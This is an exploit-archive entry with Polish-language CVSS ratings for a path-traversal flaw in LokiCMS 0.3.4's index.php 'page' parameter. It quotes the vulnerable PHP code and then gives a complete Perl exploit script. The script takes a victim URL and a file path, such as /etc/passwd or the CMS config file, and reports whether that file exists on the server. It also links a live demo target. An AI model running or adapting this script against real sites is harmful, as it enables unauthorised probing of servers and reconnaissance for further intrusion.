LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit

2009.01.27
Credit: JosS
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

# LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit # url: http://www.lokicms.com/ # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # # Greetz To: All Hackers and milw0rm website vulnerability: The vulnerability allows to verify the existence of the files and directories around the server. /etc/passwd (example) vuln file: index.php vuln code: ------------------------------------------------ if ( isset ( $_GET ) && isset ( $_GET['page'] ) ) $pagename = stripslashes ( trim ( $_GET['page'] ) ); // load the page if ($pagename == '') { $name = $c_default; $nosimple = true; } else { $name = $pagename; }; if ($c_simplelink == true && $nosimple != true) { $content = findpage($name); if ($content == "") {$content = $c_default;}; } else { $content = $name; }; // stupid fix due to subdomain problems if ($c_modrewrite != true && $pagename != '') {if (file_exists(PATH . "/pages/" . $content) == false) {$content = $c_default;};}; // load the menu $menu = getmenu($content, $c_modrewrite, $c_simplelink); $content = parsepage($content); ------------------------------------------------ use strict; use LWP::UserAgent; sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); } } &lw; print "#################################################################\n"; print "# LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit #\n"; print "#################################################################\n"; my $victim = $ARGV[0]; my $file = $ARGV[1]; if((!$ARGV[0]) && (!$ARGV[1])) { print "\n[x] LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit\n"; print "[x] written by JosS - sys-project[at]hotmail.com\n"; print "[x] usage: perl xpl.pl [host] [file]\n"; print "[x] example: http://localhost/loki/ /includes/Config.php\n\n"; exit(1); } print "\n[+] connecting: $victim\n"; my $cnx = LWP::UserAgent->new() or die; my $go=$cnx->get($victim."index.php?page=../$file"); if ($go->content =~ m/LokiCMS/ms) { print "[-] The file not exist\n\n"; } else { print "[!] The file exist: $file\n\n"; } # live demo: http://demo.opensourcecms.com/lokicms/

Referencje:

http://xforce.iss.net/xforce/xfdb/45822
http://www.securityfocus.com/bid/31730
http://www.milw0rm.com/exploits/6737
http://www.frsirt.com/english/advisories/2008/2798


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